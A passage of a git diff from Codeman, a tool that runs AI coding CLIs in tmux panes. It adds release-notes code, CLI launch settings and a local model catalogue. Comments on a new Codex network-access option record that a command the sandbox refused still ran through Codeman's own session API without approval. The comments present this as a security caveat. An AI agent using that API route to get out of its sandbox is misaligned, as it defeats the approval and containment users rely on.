- **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
`404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
the delete guard) is that session's. Delete nothing; tell the user.
the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
Codex started without that flag: an older Codex, a local session whose version Codeman
could not read, a remote or Docker session, or a server that predates it.
⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env node
// Prints the GitHub release notes for one version, built from its section of CHANGELOG.md.
// The Release workflow sends this to the release it just published. Run it by hand to preview:
//
// node scripts/generate-release-notes.mjs [version] default: the version in package.json
//
// Exits 1 with nothing on stdout when the changelog has no section for that version, so the
// workflow keeps the text changesets wrote rather than blanking a published release.
import { readFileSync } from 'node:fs';
import { dirname, resolve } from 'node:path';
import { fileURLToPath } from 'node:url';
import { buildReleaseNotes } from './lib/release-notes.mjs';
const root = resolve(dirname(fileURLToPath(import.meta.url)), '..');
const version = process.argv[2] ?? JSON.parse(readFileSync(resolve(root, 'package.json'), 'utf8')).version;
const notes = buildReleaseNotes(readFileSync(resolve(root, 'CHANGELOG.md'), 'utf8'), version);
if (!notes) {
console.error(`release-notes: CHANGELOG.md has no notes for ${version}`);
process.exit(1);
}
process.stdout.write(notes);
+5
View File
@@ -218,6 +218,11 @@ function canonicalPath(path) {
* @returns {string | null}
*/
export function resolveGitHooksDir(repoRoot) {
// Not a checkout at all (a source-archive or npm install): answer without running
// git. On a Mac without the Xcode Command Line Tools `/usr/bin/git` is a stub that
// opens Apple's "install the developer tools" dialog, and this runs on every
// `npm install`. `.git` is a directory in a clone and a file in a worktree.
if (!existsSync(join(repoRoot, '.git'))) return null;
try {
const top = git(repoRoot, ['rev-parse', '--show-toplevel']);
if (!top || realpathSync(top) !== realpathSync(repoRoot)) return null;
+144
View File
@@ -0,0 +1,144 @@
/**
* Turns one version's section of CHANGELOG.md into the body of its GitHub release.
*
* changesets writes a changeset as one list item, `- <hash>: <first line>`, with the rest
* indented under it, and changesets/action copies that section into the release as it stands.
* So a whole release rendered as a single bullet, and the `### Thanks` that opens a changeset
* sat behind the hash as literal text. The shape below cannot be written into CHANGELOG.md
* instead: `### <Type> Changes` is hardcoded upstream, and a `## ` line would end the section
* for both changesets/action and versionSection(). So the changelog keeps changesets' format,
* and the Release workflow applies this to what comes out of it.
*
* Only the commit prefix and the `### <Type> Changes` lines are removed. A block this does not
* recognise stays as text; test/release-notes.test.ts checks that over every past release.
*/
import { SECTION_LABELS, cleanLead, versionSection } from './whats-new.mjs';
const REPO_URL = 'https://github.com/Ark0N/Codeman';
const TYPE_HEADING = /^### (?:Major|Minor|Patch) Changes\s*$/;
const ITEM_START = /^- (?:[0-9a-f]{7,40}: )?(.*)$/;
const HEADING = /^#{1,6}\s+(.+?)\s*$/;
const BOLD_START = /^\*\*(.+?)\*\*(?:\s+(.*))?$/;
const LIST_ITEM = /^\s*[-*] /;
const VERSION_HEADING = /^## (\d+\.\d+\.\d+\S*)\s*$/;
const BEHAVIOUR_CHANGE = /(?<![*\w])(Behaviou?r changes?|Breaking):/g;
/** The section's changesets, each as its own lines with the prefix and indent removed. */
function changesets(section) {
const items = [];
for (const line of section.split('\n')) {
if (TYPE_HEADING.test(line)) continue;
const start = ITEM_START.exec(line);
if (start) items.push([start[1]]);
else if (items.length > 0) items[items.length - 1].push(line.replace(/^ {2}/, ''));
else if (line.trim()) items.push([line]);
}
return items;
}
/** Splits lines on blank ones, keeping a fenced code block whole. */
function splitBlocks(lines) {
const blocks = [];
let current = [];
let inFence = false;
for (const line of lines) {
if (/^\s*(?:```|~~~)/.test(line)) inFence = !inFence;
if (inFence || line.trim()) {
current.push(line);
} else if (current.length > 0) {
blocks.push(current);
current = [];
}
}
if (current.length > 0) blocks.push(current);
return blocks;
}
/**
* The title a block opens with, or null. Bold counts only as a lead-in when it ends in
* punctuation or stands alone: "**Allow network access** is a new setting" is a sentence.
*/
function blockTitle(firstLine) {
const heading = HEADING.exec(firstLine);
if (heading) return { title: heading[1], text: '', isHeading: true };
const bold = BOLD_START.exec(firstLine);
if (bold && (!bold[2] || /[.:?!]$/.test(bold[1]))) return { title: bold[1], text: bold[2] ?? '', isHeading: false };
return null;
}
/** Which part of the page a group label heads, or null for a change's own headline. */
function groupFor(label) {
if (!SECTION_LABELS.test(label)) return null;
if (/^thanks\b/i.test(label)) return 'thanks';
if (/^fixes$/i.test(label)) return 'fixes';
return /^new features$/i.test(label) ? null : 'also';
}
/** Sorts every block of the section into the part of the page it belongs to. */
function sortBlocks(section) {
const parts = { thanks: [], intro: [], news: [], fixes: [], also: [] };
const items = changesets(section);
for (const item of items) {
const blocks = splitBlocks(item);
// Text with no headline leads What's new, or it would read as part of the last feature.
let target = 'intro';
let thanksIsEmpty = false;
for (const block of blocks) {
const [first, ...rest] = block;
const opened = blockTitle(first);
if (opened) {
const label = cleanLead(opened.title);
const group = groupFor(label);
const body = [opened.text, ...rest].filter(Boolean).join('\n');
target = group ?? 'news';
thanksIsEmpty = group === 'thanks' && !body;
if (group === 'also') {
// These two are a sentence or two each, so they keep their bold lead-in: a heading
// over every one of them weighs more than the text under it.
parts.also.push(opened.isHeading ? [`**${label}.**`, ...rest].join('\n') : block.join('\n'));
} else if (group) {
if (body) parts[group].push(body);
} else {
parts.news.push(`### ${label}`);
if (body) parts.news.push(body);
}
continue;
}
// Only credit stays under Thanks: what opens it, its list, and a line ending in a colon
// that leads into one. A paragraph after that is the release talking again.
if (target === 'thanks' && !thanksIsEmpty && !LIST_ITEM.test(first) && !first.endsWith(':')) target = 'intro';
thanksIsEmpty = false;
const text = block.join('\n');
// A one-line changeset was a bullet in the changelog; beside others it stays one.
parts[target].push(blocks.length === 1 && items.length > 1 ? `- ${text}` : text);
}
}
return parts;
}
/** The release before `version`, or null for the first one or a version not in the changelog. */
export function previousVersion(changelog, version) {
const versions = changelog.split(/\r?\n/).flatMap((line) => VERSION_HEADING.exec(line)?.[1] ?? []);
const index = versions.indexOf(version);
return index === -1 ? null : (versions[index + 1] ?? null);
}
/** The markdown for the release page, or '' when the changelog has nothing for `version`. */
export function buildReleaseNotes(changelog, version) {
const { thanks, intro, news, fixes, also } = sortBlocks(versionSection(changelog, version));
const page = [];
// Thanks stays first on purpose: contributors are the first thing a visitor to Latest sees.
if (thanks.length > 0) page.push('## Thanks', ...thanks);
if (intro.length + news.length > 0) page.push("## What's new", ...intro, ...news);
if (fixes.length > 0) page.push('## Fixes', ...fixes);
if (also.length > 0) page.push('## Also in this release', ...also);
if (page.length === 0) return '';
const blocks = page.map((block) => (block.startsWith('#') ? block : block.replace(BEHAVIOUR_CHANGE, '**$1:**')));
const previous = previousVersion(changelog, version);
if (previous) {
blocks.push('---', `**Full Changelog**: ${REPO_URL}/compare/codeman@${previous}...codeman@${version}`);
}
return `${blocks.join('\n\n')}\n`;
}
+6 -2
View File
@@ -19,9 +19,13 @@ export function versionSection(changelog, version) {
// Bold phrases the release notes use as group labels rather than as the headline of a change:
// "**Fixes.**" heads the list of fixes, "**Fixes applied while landing.**" the review fixes.
const SECTION_LABELS =
// Shared with release-notes.mjs, so the toast and the release page agree on what is a headline.
export const SECTION_LABELS =
/^(?:thanks\b.*|fixes|fixes applied while landing|docs|docs and tests|new features|also in this release)$/i;
/** A bold lead-in without its closing punctuation. */
export const cleanLead = (text) => text.replace(/[\s.:]+$/, '').trim();
/** Bold lead-ins at the start of a paragraph or bullet, cleaned for display. */
export function extractHighlights(section) {
const out = [];
@@ -30,7 +34,7 @@ export function extractHighlights(section) {
// ("- d18deed: **Lead.** text"), which is the shape every changesets-bot release has.
const m = /^\s*(?:[-*]\s+)?(?:[0-9a-f]{7,40}:\s+)?\*\*([^*]{3,120})\*\*/.exec(line);
if (!m) continue;
const text = m[1].replace(/[\s.:]+$/, '').trim();
const text = cleanLead(m[1]);
if (!text || SECTION_LABELS.test(text)) continue;
if (!out.includes(text)) out.push(text);
}
+20 -4
View File
@@ -60,6 +60,10 @@ land in `~/.claude`; pass `--working-dir ~` to mean it). Directory launches keep
mark the project as agent scratch. If startup fails or is ambiguous, the CLI
reports the exact created ID: inspect it before retrying or cleaning up.
**`codeman: command not found` is not a dead end.** Some installs (a server run from a
source checkout, for one) put no `codeman` on PATH. Do not stop there: §0 and §1 below
are the same verbs over `curl`, and need nothing but `curl` and `jq`.
## 0. Guard and bootstrap
For live API operations, if `CODEMAN_MUX` is not `1`, **stop and say so**.
@@ -68,13 +72,25 @@ Do not guess an API URL; a server you are not part of is not yours to drive.
Two failures come from your CLI, not from Codeman: name them to the user instead of
retrying.
- **Every call fails at once with "couldn't connect" or "connection refused".** Your
CLI's sandbox blocks network access, even to this machine. Codex's default sandbox
does; it needs **Bypass approvals and sandbox** (Codeman App Settings, Codex).
- **Every call fails at once with "couldn't connect", "connection refused" or `connect
EPERM`.** Your CLI's sandbox blocks network access, even to this machine. If your CLI
can ask the user to run a command outside its sandbox (Codex can), re-run **the same
command** once that way, never a different one; if the user declines, stop. For lasting
access in Codex, the user turns on **Allow network access** (Codeman App Settings,
Codex) and starts a new Codex session. Tell them what it costs first: it applies to
every new local Codex session, and commands in Codex's sandbox can then call Codeman's
API, which can start a session outside the sandbox with no approval prompt, even when
a password is set. It opens the network wherever Codex runs the folder workspace-write
and does not change the sandbox mode: a folder Codex runs read-only keeps the network
closed, so each call still needs the per-command approval (or `/permissions`).
**Bypass approvals and sandbox** works everywhere but drops the sandbox and approvals.
- **`"${CURL[@]}" -o /dev/null -w '%{http_code}' "$API/api/v1/sessions/$SELF"` prints
`404`.** The commands you run do not carry this session's environment: Codex can run them in a shared background
process another session started, so `$CODEMAN_SESSION_ID` (and with it `$SELF` and
the delete guard) is that session's. Delete nothing; tell the user.
the delete guard) is that session's. Delete nothing; tell the user. Codeman starts a
local Codex 0.162 or later with `--no-daemon` to prevent this, so seeing it means a
Codex started without that flag: an older Codex, a local session whose version Codeman
could not read, a remote or Docker session, or a server that predates it.
⚠️ **Your shell state does not survive between tool calls.** Each Bash call starts a
fresh shell, so `$API`, `$SELF`, the `CURL` array and `delete_session` are all gone by
+5 -1
View File
@@ -490,7 +490,11 @@ const capabilitiesSchema = z
launchDefaults: z
.record(
z.string(),
z.enum(['codexModel', 'codexReasoningEffort'] as const satisfies readonly LaunchDefaultSettingKey[])
z.enum([
'codexModel',
'codexReasoningEffort',
'codexNetworkAccess',
] as const satisfies readonly LaunchDefaultSettingKey[])
)
.refine((v) => Object.keys(v).length >= 1 && Object.keys(v).length <= 8, 'launchDefaults takes 1 to 8 params')
.optional(),
+71 -5
View File
@@ -640,6 +640,7 @@ const CODEX: CliEntry = {
launch: {
params: {
bypassApprovals: { type: 'bool' },
networkAccess: { type: 'bool' },
animations: { type: 'bool' },
// `model-plain-colon`, not `model`: the custom-model feature forces the selected id
// onto this param (`launchModel: '{modelId}'` below), and Ollama-style ids carry a
@@ -653,7 +654,38 @@ const CODEX: CliEntry = {
id: 'default',
args: [
{ lit: 'codex' },
// Codex 0.162 hands every client's tool commands to ONE shared background
// app-server (`codex app-server --managed-daemon`), started by whichever client
// came first. Two things break inside a Codeman pane, both measured 2026-11-01 on
// 0.162.0: the commands run with the STARTER's environment, so
// `$CODEMAN_SESSION_ID`/`$CODEMAN_API_URL` belong to another session (the codeman
// skill's self-check 404s and its delete guard protects the wrong id), and a daemon
// of another version (a 0.166 one left by a later install) stops every launch on an
// "incompatible feature settings" dialog before the composer appears. `--no-daemon`
// runs this session's own in-process server, which is what a pane per session
// means anyway. Gated at the version it was measured on; an older or unknown
// codex gets nothing (fail-closed), since an unknown flag makes codex exit.
{ flag: '--no-daemon', when: { capabilityGate: 'noDaemonFlag' } },
{ flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } },
// Lets commands in codex's workspace-write sandbox open network connections,
// Codeman's own API on loopback included (the codeman skill's curl calls fail
// with "couldn't connect" without it). Measured on 0.162.0 (`codex sandbox` and
// a live pane): loopback stays blocked under workspace-write until this is set.
// ⚠️ Not a safe middle ground below the bypass above: that API can start a session
// outside the sandbox with no approval prompt, so codex's sandbox no longer contains
// a command once this is on. Measured 2026-11-06: a `touch` the sandbox refused
// landed through POST /api/sessions, and with a password set too from inside a
// Codeman pane, which inherits CODEMAN_PASSWORD by design.
// ⚠️ Workspace-write ONLY: a folder codex runs read-only (one it does not trust,
// such as a fresh non-git case) keeps the network closed and asks per command.
// Deliberately not paired with `--sandbox workspace-write` (owner decision,
// 2026-11-06), which would also grant write access to a folder codex itself chose
// not to trust, under a label that only says "network".
{
flag: '--config',
value: 'sandbox_workspace_write.network_access=true',
when: { param: 'networkAccess', is: true },
},
{ flag: '--config', value: 'tui.animations=true', when: { param: 'animations', is: true } },
{ flag: '--config', value: 'tui.animations=false', when: { param: 'animations', is: false } },
{ flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } },
@@ -819,7 +851,14 @@ const CODEX: CliEntry = {
// App Settings → Codex model / reasoning effort (synced), filled into a LOCAL launch's
// codexConfig wherever the caller left the field unset. Launch-only: nothing writes
// codex's own config.toml. Read by applyLaunchDefaults() in src/web/launch-defaults.ts.
launchDefaults: { model: 'codexModel', reasoningEffort: 'codexReasoningEffort' },
// `networkAccess` (App Settings → Codex → Allow network access) rides the same path, so
// a codex session started by the codeman skill, `codeman agent spawn` or the MCP server
// gets it as well as one started from the browser. Off (the default) fills nothing.
launchDefaults: {
model: 'codexModel',
reasoningEffort: 'codexReasoningEffort',
networkAccess: 'codexNetworkAccess',
},
// Two columns, like claude's, measured on a live 0.154.0 answer: the `•`/`›`/`⚠`
// markers sit in the gutter, prose continuations sit at 2, and a nested YAML block
// the model wrote rendered at 2/4/6/8 for its own 0/2/4/6. Replayed at 100, 120,
@@ -844,7 +883,19 @@ const CODEX: CliEntry = {
// does. codex is the entry where the two names differ (`bypassApprovals` here,
// `dangerouslyBypassApprovals` on the wire), so it is the one that would have caught a
// regression; `schema.ts` now rejects a name that is not a declared param.
privilegedParams: [{ param: 'bypassApprovals', clampTo: false }],
//
// `networkAccess` widens the sandbox too (any host, not just Codeman's loopback API), so
// a non-granted owner gets it forced off like the bypass. Only-if-sent is enough here as
// well: an absent value leaves codex's own no-network default, and the launch default
// above is filled BEFORE the clamp runs, so a filled `true` is still clamped.
privilegedParams: [
{ param: 'bypassApprovals', clampTo: false },
{ param: 'networkAccess', clampTo: false },
],
// `--no-daemon` above. Evaluated against codex's OWN version (resolveSessionCliVersion).
gates: {
noDaemonFlag: { minVersion: '0.162.0', failClosed: true },
},
mcpConfig: {
path: '.codex/config.toml',
format: 'codex-toml',
@@ -1180,7 +1231,23 @@ const PI: CliEntry = {
// (hasTrustRequiringProjectResources, pi 1.1.0), which would stall a spawned worker on
// a dialog. pi reads the user-level `~/.agents/skills` without that prompt, so a pi
// user installs it there (`npx skills add Ark0N/Codeman --skill codeman -g`).
altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback
// Fullscreen is pi's default `tuiMode` since 1.0.0 (measured 1.0.0, 1.1.0, 1.4.0, 1.5.0 in
// tmux: alternate_on=1, history_size=0, mouse on, SGR): a TUI that enables tracking once at
// start. Codeman's replay (tab switch, reload) drops that mode in xterm, so the wheel hit an
// empty local buffer and went dead until a redraw. Same shape as copilot: strip the DECSETs
// (a drag selects locally), publish `cliMouseTracking`, and forward the wheel by hand from
// that flag. pi scrolls on SGR wheel reports, one row each at a low rate, faster on a spin.
// `tuiMode: regular`, the default below 1.0.0, is inline and emits no mouse DECSET, so the
// strip finds nothing and the flag stays false. A pi from 0.84.0 set to fullscreen does emit
// them (0.84.1 and 0.99.2 measured: alternate_on=1, mouse_any_flag=1, SGR) and the flag
// covers it.
// ⚠️ No `transcriptPageKeys`, though fullscreen pi does page on PageUp/PageDown. pi binds
// those keys to its editor in regular mode too, where they page nothing and move the caret
// of a multi-line draft, so a wheel over a fresh regular pane sent the next keystroke to the
// wrong line (measured). The cost: a fullscreen pi with "Wheel scrolls local history" on
// has no paging fallback.
altScreen: 'strip-mux-and-mouse',
wheelForward: { mode: 'always' },
echo: { policy: 'buffer', anchor: { kind: 'cursor' } },
// Measured on a live pi 1.1.0 pane (capture-pane every 250 ms through a turn,
// 2026-10-09): pi has no composer glyph. Its composer sits between two `─` rules, and
@@ -1370,8 +1437,7 @@ const GROK: CliEntry = {
// docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy.
credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] },
// No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are
// already correct — verified against upstream's own pinned test/grok-mode.test.ts
// expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`.
// already correct, verified against upstream's own pinned test/grok-mode.test.ts.
},
};
+4 -4
View File
@@ -112,7 +112,7 @@ export type ModelConfigResolverName = 'deepseek-route';
* arbitrary setting onto a command line; each name must also be a `SettingsUpdateSchema`
* key, which the resolver's typing enforces.
*/
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort';
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort' | 'codexNetworkAccess';
/** The MCP config dialects `src/mcp-sync.ts` has an adapter for. */
export type McpConfigFormat =
@@ -546,7 +546,7 @@ export interface CliCapabilities {
* `strip-full` is `isAltScreenStripMode`; `strip-mux-and-mouse` is `isMuxMouseStripMode`;
* every other value takes `isMuxAltScreenOnlyStripMode`, so at runtime `preserve` and
* `strip-mux-only` are the same row — `preserve` only says what such a CLI's pane
* holds (terminal-owned scrollback: a shell, pi), not a different strip.
* holds (terminal-owned scrollback: a shell), not a different strip.
*
* - alt-screen: the tmux CLIENT emits `smcup` as its first bytes at attach, parking
* xterm in the scrollback-less alternate buffer; a pane program's own toggles never
@@ -560,8 +560,8 @@ export interface CliCapabilities {
* own mouse support must work in the pane (htop/vim in a shell).
*
* Stock CLIs: `strip-full` = claude, codex, gemini (Ink TUIs); `strip-mux-and-mouse` =
* opencode and copilot (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell, pi.
* opencode, copilot and pi (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell.
*
* A fourth combination is the point to split this into flags; three is still cheaper
* as an enum.
+56
View File
@@ -0,0 +1,56 @@
/**
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
* outside Codeman).
*
* Two facts drive every number here. First, the number of tmux sockets and panes
* on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
* is an unbounded loop over data someone else produces. Parsed rows are capped by
* count and the socket sweep by time: a sweep capped by count would stop in glob
* order, where `codeman*` sorts before `default` and a machine running many
* instances would never reach the sessions this feature is for. Second, an ssh
* handshake is an order of magnitude slower than
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
* remote host as unreachable, so the probe gets its own timeout.
*
* @module config/foreign-tmux
*/
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
export const FOREIGN_POLL_INTERVAL_MS = 8000;
/**
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
* per TTL.
*/
export const FOREIGN_CACHE_TTL_MS = 5000;
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
/**
* How long one tmux server may take to answer the probe's ping, in the script's own
* `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
* costs only its own rows, and the sweep moves on to the next socket.
*/
export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
export const FOREIGN_MAX_PANES = 400;
/** Max process rows parsed from one probe's `ps` snapshot. */
export const FOREIGN_MAX_PROCS = 4000;
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
/**
* Longest argv or pane command kept from one row. The caps above bound how many rows a
* probe carries, this bounds what one costs: a row is text from someone else's process,
* and `ps` prints a 128 KiB argv in full. A launcher that needed more than this to be
* recognised reads as `shell`, which only changes the label on its row.
*/
export const FOREIGN_MAX_ARGV_CHARS = 4096;
+373
View File
@@ -0,0 +1,373 @@
/**
* @fileoverview The local model catalogue: which models, harnesses and chips the recommendation
* knows, as a compiled constant validated by a Zod schema.
*
* Rules:
* - There is NO override file and no runtime download data in this stage: nothing here reads
* the data dir, and a data file can never decide what gets recommended.
* - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can
* only ever name a model of the default registry and namespace.
* - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
* registry id as data: no code may compare it with a literal. Whether that CLI exists and can
* take a custom model is checked against the registry at call time, in
* src/local-model/harness-facts.ts, never here.
* - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
* unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
* row, `chips` most specific first, and `promptCacheTiers` ascending from 0.
* - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and
* throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses,
* so a bad row fails the gate and never reaches the route.
*
* Where each figure of the stock rows comes from, and what was checked (2026-11-06):
*
* | Figure | Source | Checked |
* |----------------------|-----------------------------------------------------------|--------------------------------------|
* | `id`, `bytes` | registry manifest of the tag, sum of its layer sizes | yes, to the byte, by the facts review |
* | `license` | the model card (all Apache-2.0) | read by the research, not re-checked |
* | `paramsB` | 27.8 from the model card; the others are the count in the | no. Only the 12 billion line reads |
* | | model's name | it, and no row is near that line |
* | `kvBytesPerToken` | COMPUTED from each model's config: 2 x full-attention | no. Not measured in a running |
* | | layers x KV heads x head size x 2 bytes | runtime. The review called the |
* | | | gpt-oss figure plausible, no more |
* | `contexts`, `rank` | a judgement of the design | no |
* | `speedPer100Gbps` | one published run on an M1 Max (400 GB/s): generation | the run was read. It stands for less |
* | | only, short prompt. The two q8_0 rows are SCALED by file | than a session: no long prompt, no |
* | | size, not measured | thinking tokens |
* | `minMacosMajor` | the runtime's documentation (macOS 14) | yes, by the facts review |
* | `promptCacheTiers` | a decision of the design, not a measurement | no |
* | harness `minContext` | 65536: the runtime's documentation for both harnesses. | 65536 yes. 32768 no, which is why |
* | | 32768: recalled | that row is gated |
* | `chips` | the bandwidth column of | yes, read at the source for this |
* | | https://github.com/ggml-org/llama.cpp/discussions/4167 | file |
*
* `tested` is empty on every row: nobody has run any of these models with a harness on a Mac
* yet. Until a row has an entry, the recommendation never says "Recommended".
*/
import { z } from 'zod';
import type { ChipEntry, LocalModelCatalog } from '../types.js';
/** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */
export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/;
/**
* Whether `chip` (a `machdep.cpu.brand_string`, 'Apple M4 Pro') is the chip a `ChipEntry.match`
* ('M4 Pro') names: the string must END with the match, and the match must start at the
* beginning or after a space. Case is ignored.
*
* Stricter than "the match occurs in the string" on purpose. 'M4' is not the chip of
* 'Apple M4 Pro', 'M1' is not the chip of 'Apple M10', and a variant this table has never heard
* of ('Apple M6 Pro') matches no row instead of borrowing the bandwidth of its base chip.
*/
export function chipNameMatches(chip: string, match: string): boolean {
const name = chip.trim().toLowerCase();
const wanted = match.trim().toLowerCase();
if (wanted === '' || !name.endsWith(wanted)) return false;
const start = name.length - wanted.length;
return start === 0 || name[start - 1] === ' ';
}
/**
* The memory bandwidth (GB/s) of `chip`, from the first row that names it. `undefined` when the
* chip string is absent or no row names it: the speed is then UNKNOWN, a bandwidth is never guessed.
*/
export function chipBandwidthGbps(chips: readonly ChipEntry[], chip: string | undefined): number | undefined {
if (!chip) return undefined;
return chips.find((row) => chipNameMatches(chip, row.match))?.gbps;
}
const isoDate = z.string().regex(/^\d{4}-\d{2}-\d{2}$/, 'must be an ISO date (YYYY-MM-DD)');
const positiveInt = z.number().int().positive();
const TestedOnSchema = z
.object({
chip: z.string().min(1).max(80),
memGb: positiveInt,
cli: z.string().min(1).max(24),
date: isoDate,
})
.strict();
const LocalModelEntrySchema = z
.object({
id: z.string().max(100).regex(LOCAL_MODEL_ID_PATTERN, 'must be name:tag in lowercase, without a slash'),
label: z.string().min(1).max(80),
license: z.string().min(1).max(40),
paramsB: z.number().positive(),
bytes: positiveInt,
kvBytesPerToken: positiveInt,
contexts: z.array(positiveInt).min(1),
rank: z.number().int(),
speedPer100Gbps: z.number().positive().optional(),
tested: z.array(TestedOnSchema),
})
.strict();
const LocalHarnessEntrySchema = z
.object({
cli: z.string().min(1).max(24),
minContext: positiveInt,
rank: z.number().int(),
gated: z.boolean().optional(),
slowFirstTurn: z.boolean().optional(),
})
.strict();
const ChipEntrySchema = z
.object({
match: z.string().min(1).max(40),
gbps: z.number().positive(),
})
.strict();
const PromptCacheTierSchema = z
.object({
minMemGb: z.number().int().nonnegative(),
bytes: z.number().int().nonnegative(),
})
.strict();
/** The index of the first value that already occurred earlier in the list, or -1. */
function firstRepeat<T>(values: readonly T[]): number {
const seen = new Set<T>();
for (let i = 0; i < values.length; i++) {
if (seen.has(values[i])) return i;
seen.add(values[i]);
}
return -1;
}
/**
* Validates a whole catalogue: every field, then the rules that hold across rows (see the file
* header). Typed against `LocalModelCatalog`, so the two cannot drift apart.
*/
export const LocalModelCatalogSchema: z.ZodType<LocalModelCatalog> = z
.object({
schema: z.literal(1),
updated: isoDate,
minMacosMajor: positiveInt,
promptCacheTiers: z.array(PromptCacheTierSchema).min(1),
models: z.array(LocalModelEntrySchema),
harnesses: z.array(LocalHarnessEntrySchema),
chips: z.array(ChipEntrySchema),
})
.strict()
.superRefine((catalog, ctx) => {
const issue = (path: (string | number)[], message: string): void => {
ctx.addIssue({ code: 'custom', path, message });
};
// A repeated id would make "the model" ambiguous, a repeated rank would make the order of
// two models depend on where they sit in the array.
const repeatedId = firstRepeat(catalog.models.map((m) => m.id));
if (repeatedId >= 0) issue(['models', repeatedId, 'id'], 'model ids must be unique');
const repeatedRank = firstRepeat(catalog.models.map((m) => m.rank));
if (repeatedRank >= 0) issue(['models', repeatedRank, 'rank'], 'model ranks must be unique');
const harnessClis = catalog.harnesses.map((h) => h.cli);
const repeatedCli = firstRepeat(harnessClis);
if (repeatedCli >= 0) issue(['harnesses', repeatedCli, 'cli'], 'a harness may be listed only once');
const repeatedHarnessRank = firstRepeat(catalog.harnesses.map((h) => h.rank));
if (repeatedHarnessRank >= 0) issue(['harnesses', repeatedHarnessRank, 'rank'], 'harness ranks must be unique');
catalog.models.forEach((model, m) => {
for (let i = 1; i < model.contexts.length; i++) {
if (model.contexts[i] >= model.contexts[i - 1]) {
issue(['models', m, 'contexts', i], 'contexts must be listed largest first, without repeats');
break;
}
}
// An entry for a harness the catalogue does not list could never match a candidate: a typo.
model.tested.forEach((entry, t) => {
if (!harnessClis.includes(entry.cli)) {
issue(['models', m, 'tested', t, 'cli'], 'a tested entry must name a harness of this catalogue');
}
});
});
// Most specific first ('M4 Max' before 'M4'): a row whose text sits inside a LATER row's text
// is the less specific of the two, so it is in the wrong place. A repeated match is the same
// mistake.
for (let later = 1; later < catalog.chips.length; later++) {
const laterMatch = catalog.chips[later].match.toLowerCase();
const shadowing = catalog.chips.slice(0, later).find((row) => laterMatch.includes(row.match.toLowerCase()));
if (shadowing) {
issue(
['chips', later, 'match'],
`chips must be listed most specific first: '${shadowing.match}' comes before '${catalog.chips[later].match}'`
);
break;
}
}
// The tiers are read as "the last one whose minimum is not above this Mac's memory", so they
// must start at 0 (every Mac has a tier) and ascend.
if (catalog.promptCacheTiers[0].minMemGb !== 0) {
issue(['promptCacheTiers', 0, 'minMemGb'], 'the first prompt cache tier must start at 0');
}
for (let i = 1; i < catalog.promptCacheTiers.length; i++) {
if (catalog.promptCacheTiers[i].minMemGb <= catalog.promptCacheTiers[i - 1].minMemGb) {
issue(['promptCacheTiers', i, 'minMemGb'], 'prompt cache tiers must ascend by minMemGb');
break;
}
}
});
const KIB = 1024;
const MIB = 1024 ** 2;
const GIB = 1024 ** 3;
/**
* The catalogue that ships with Codeman. Never read directly outside this file and its test:
* callers use `getLocalModelCatalog()`, which validates it first.
*/
export const STOCK_LOCAL_MODEL_CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-06',
// The oldest macOS the model runtime supports.
minMacosMajor: 14,
// Host memory the runtime's prompt cache may take beside the model: 512 MiB on a Mac below
// 32 GB, 2 GiB from 32 GB. Part of the need of every candidate.
promptCacheTiers: [
{ minMemGb: 0, bytes: 512 * MIB },
{ minMemGb: 32, bytes: 2 * GIB },
],
// Ordered by rank. The higher rank wins among models that fit equally well and are equally
// fast. `flint:40b` is left out on purpose: its plain tag is the slow build on a Mac and it
// has an open bug with tool arguments.
models: [
{
id: 'qwen3.5:9b',
label: 'Qwen3.5 9B',
license: 'Apache-2.0',
paramsB: 9,
bytes: 6_550_825_373,
kvBytesPerToken: 32 * KIB,
contexts: [65536, 32768],
rank: 1,
// 37.1 tokens per second measured on 400 GB/s.
speedPer100Gbps: 9.3,
tested: [],
},
{
id: 'qwen3.5:9b-q8_0',
